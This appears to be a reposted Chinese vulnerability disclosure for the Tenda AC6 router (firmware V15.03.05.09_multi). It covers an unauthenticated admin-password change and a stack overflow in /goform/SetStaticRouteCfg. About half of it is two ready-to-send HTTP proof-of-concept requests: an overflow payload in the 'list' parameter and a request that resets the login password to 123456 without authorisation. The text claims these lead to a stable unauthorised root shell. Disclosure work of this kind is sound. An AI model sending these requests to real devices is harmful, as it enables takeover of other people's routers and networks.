概述
厂家网站信息：https://www.tenda.com.cn/profile/contact.html
固件下载地址：https: //www.tenda.com.cn/download/default.html
1. 受影响版本
图1为路由器最新固件Ba
2.漏洞详情
2.1任意密码修改漏洞
首先通过逆向分析可以发现，该接口存在任意修改密码的漏洞。程序将loginpwd参数中获取到的内容直接传递给V16，然后直接通过setvalue( ） 功能。这样我们就可以在未经授权的情况下更改管理密码。
2.2堆栈溢出漏洞
程序将从list参数获取的内容传递给V5，然后调用函数sub_。779dc()，我们跟进检查
此时V5对应函数的A2位置
程序将A2赋值给V16，然后通过sscanf函数的正则表达式将V16中匹配到的内容格式化到V11、V10、V9和S1的堆栈中。没有大小检查，因此存在堆栈溢出漏洞。
3.重复出现的漏洞和POC
为了重现该漏洞，可以执行以下步骤：
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使用胖模拟固件V15.03.05.09_multi
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使用以下溢出POC攻击进行攻击
POST /goform/SetStaticRouteCfg HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 1547Origin: http://192.168.0.1Connection: closeReferer: http://192.168.0.1/static_route.html?random=0.02358662813367418&Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcoya5gklist=192.168.2.0,255.255.255.0aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae,192.168.2.1,WAN1
复现结果如下：
图2 POC攻击效果
3.未经授权的密码重写POC（此处密码修改为123456）
POST /goform/fast_setting_wifi_set HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0Accept: /Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 116Origin: http://192.168.0.1Connection: closeReferer: http://192.168.0.1/index.htmlssid=Tenda_AC6_rencvn&wrlPassword=rencvn667&power=high&timeZone=%2B08%3A00&loginPwd=e10adc3949ba59abbe56e057f20f883e
最后可以写exp，可以达到非常稳定的未经授权获取root shell的效果
原文始发于微信公众号（Ots安全）：Tenda AC6 V15.03.05.09_multi 未经授权的堆栈溢出漏洞
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